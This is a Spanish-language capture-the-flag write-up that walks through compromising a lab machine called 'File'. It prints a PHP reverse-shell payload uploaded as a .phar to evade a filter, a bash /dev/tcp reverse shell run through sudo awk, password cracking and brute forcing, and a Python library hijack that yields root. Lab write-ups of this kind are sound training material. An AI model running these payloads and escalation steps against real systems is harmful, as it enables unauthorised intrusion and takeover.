> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/file-write-up.md).
# File write-up
## **Verificamos si tenemos conexión con la máquina víctima**
## **Realizamos un escaneo de los puertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```
El escaneo indica que los puertos 21 (FTP) y 80 (HTTP) están abiertos, y además muestra que es posible iniciar sesión en el servicio FTP como usuario anónimo. Así que iniciamos sesión y nos encontramos con lo siguiente:
```bash
ftp 172.17.0.2
```
Vemos el archivo `anon.txt`, así que nos lo descargamos con el siguiente comando:
```bash
get anon.txt
```
Una vez descargado, usamos `cat` para visualizar el contenido del archivo y encontramos lo siguiente:
Ahora vamos a utilizar **hash-identifier** para determinar el tipo de hash del contenido que encontramos en el archivo `53dd9c6005f3cdfc5a69c5c07388016d` con el siguiente comando:
```bash
hash-identifier
```
**Hash-identifier** nos indica que probablemente se trate de md5, ahora vamos a guardar el hash en un archivo y usar **john the ripper** para intentar romper el hash con el siguiente comando:
```bash
john --format=Raw-MD5 --wordlist=/home/shinki/Escritorio/rockyou.txt hash
```
Esto nos indica que el valor `justin` corresponde al hash `53dd9c6005f3cdfc5a69c5c07388016d`. Así que ahora como el puerto 80 está abierto, ingresamos la IP de la máquina víctima en el navegador y nos encontramos con lo siguiente:
Vemos que es una plantilla de apache sin aparentemente ningún tipo de información relevante, pero si nos vamos al código fuente nos encontramos con el siguiente comentario:
Así que vamos a usar **dirb** y **gobuster** para encontrar rutas y ficheros ocultos con los siguientes comandos:
```bash
dirb http://172.17.0.2/
```
**Dirb** nos encuentra el directorio `uploads/`, y ahora usamos gobuster para encontrar archivos con el siguiente comando:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```
Y nos encuentra el archivo `/file_upload.php`, así que ingresamos la ruta en el navegador y vemos lo siguiente:
Nos encontramos con un formulario para subir archivos, así que vamos a intentar subir un archivo malicioso en PHP que nos envíe una shell interactiva.
Sin embargo, al intentarlo, vemos que se está aplicando algún tipo restricción que impide subir el archivo, así que para evitarlo, vamos a probar con un archivo con extensión PHAR que es un tipo de archivo comprimido en PHP, así que vamos a crear el archivo `shell.phar` que contenga lo siguiente:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
```bash
nano shell.phar
```
Ahora probamos a subirlo y vemos que si funciona correctamente.
Así que nos vamos a la ruta `http://172.17.0.2/uploads/` y antes da hacer clic en el archivo, nos ponemos en escucha con netcat por el puerto 444.
```bash
sudo nc -nlvvp 444
```
Y vemos que ya estamos dentro de la máquina víctima.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima nos vamos a mover al directorio `/tmp` y vamos a traspasarnos varios archivos de nuestra máquina host a la máquina víctima. Lo primero que hay que pasarnos es un script en bash que podéis encontrar en mi [**Github**](https://github.com/Shinkirou789/Linux_brute_force2). Para instalarlo puedes ejecutar lo siguiente:
```bash
git clone https://github.com/Shinkirou789/Linux_brute_force2.git ; cd Linux_brute_force2 ; chmod 0700 linux_fuerza_bruta.sh
```
Una vez instalado el script nos lo pasaremos a la máquina víctima junto con el rockyou levantando un servidor HTTP en python con el siguiente comando:
```bash
python3 -m http.server 8080
```
Y ahora nos lo descargaremos en la máquina víctima usando **wget** con el siguiente comando:
```bash
wget http://172.17.0.1:8080/linux_fuerza_bruta.sh
wget http://172.17.0.1:8080/rockyou.txt
```
Una vez descargado vamos a crear un archivo llamado `usuarios.txt` que tenga todos los usuarios que existen en la máquina víctima.
Y ahora le damos permisos de ejecución al script con el siguiente comando:
```bash
chmod 0777 linux_fuerza_bruta.sh
```
Y lo ejecutamos de la siguiente manera:
```bash
./linux_fuerza_bruta3.sh
```
```bash
./linux_fuerza_bruta.sh rockyou.txt usuarios.txt 4
```
El script nos indica que la contraseña del usuario `fernando` es `chocolate`, así que vamos a iniciar sesión como fernando.
```bash
su fernando
```
Una vez somos el usuario `fernando` nos movemos a su directorio home y nos encontramos con una imagen en formato JPEG. Así que nos la vamos a pasar levantado un servidor con Python en la máquina víctima.
```bash
python3 -m http.server 8080
```
Y nos la descargamos en nuestra máquina host con wget:
```bash
wget http://172.17.0.2:8080/dragon-medieval.jpeg
```
Ahora usaremos la herramienta **steghide** para verificar que no haya un archivo oculto en la imagen, para ello usaremos el siguiente comando:
```bash
stegseek -wl ../rockyou.txt dragon-medieval.jpeg
```
Esto nos indica que había un archivo llamado pass.txt el cual a extraído como `dragon-medieval.jpeg.out`, así que hacemos un cat del archivo y vemos lo siguiente:
```bash
cat dragon-medieval.jpeg.out
```
Vemos que nos aparece una contraseña hasheada así que usamos **hash-identifier** para saber que tipo de hash es:
```bash
hash-identifier
```
Y nos indica que se puede tratar de sha-1, así que usamos **john the ripper** para romper la contraseña, así que guardamos el has en un archivo y luego ejecutamos el siguiente comando:
```bash
cat dragon-medieval.jpeg.out > hash
```
```bash
john --format=Raw-SHA1 --wordlist=/home/shinki/Escritorio/rockyou.txt hash
```
Y nos indica que el valor de `password123` corresponde con el hash. Así que ahora vamos a usar el script que instalamos en nuestra máquina víctima para comprobar si nos deja iniciar sesión como algún usuario.
Y nos indica que la contraseña le pertenece al usuario `mario`. Así que iniciamos sesión como Mario.
```bash
su mario
```
Una vez somos el usuario `mario`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/awk` como el usuario `julen`. Así que nos ponemos en escucha con **netcat** por el puerto 4444 y ejecutamos el siguiente comando:
```bash
sudo nc -nlvvp 4444
```
```bash
sudo -u julen awk 'BEGIN {system("/bin/bash -c \"bash -i >/dev/tcp/172.17.0.1/4444 0<&1 2>&1\"")}'
```
Una vez somos el usuario `julen`, volvemos a ejecutar el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/env` como el usuario `iker` sin necesidad de contraseña. Así que ejecutamos lo siguiente para obtener una shell como el usuario `iker`.
```bash
sudo -u iker /usr/bin/env /bin/bash
```
Ahora que somos el usuario `iker`, ejecutamos nuevamente `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/python3` junto al archivo `/home/iker/geo_ip.py` como cualquier usuario sin necesidad de contraseña, así que vamos a crear un archivo que tenga el nombre de una librería que se use en el programa `/home/iker/geo_ip.py` para que nos envíe un reverse shell como el usuario root:
Vemos que el programa usa la librería `requests`, así que vamos a crear un fichero con nombre `requests.py` que contenga lo siguiente:
```python
import os
os.execl("/bin/bash", "bash", "-p")
```
Y lo ejecutamos como usuario root de la siguiente manera:
```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```
Y finalmente seriamos usuario root.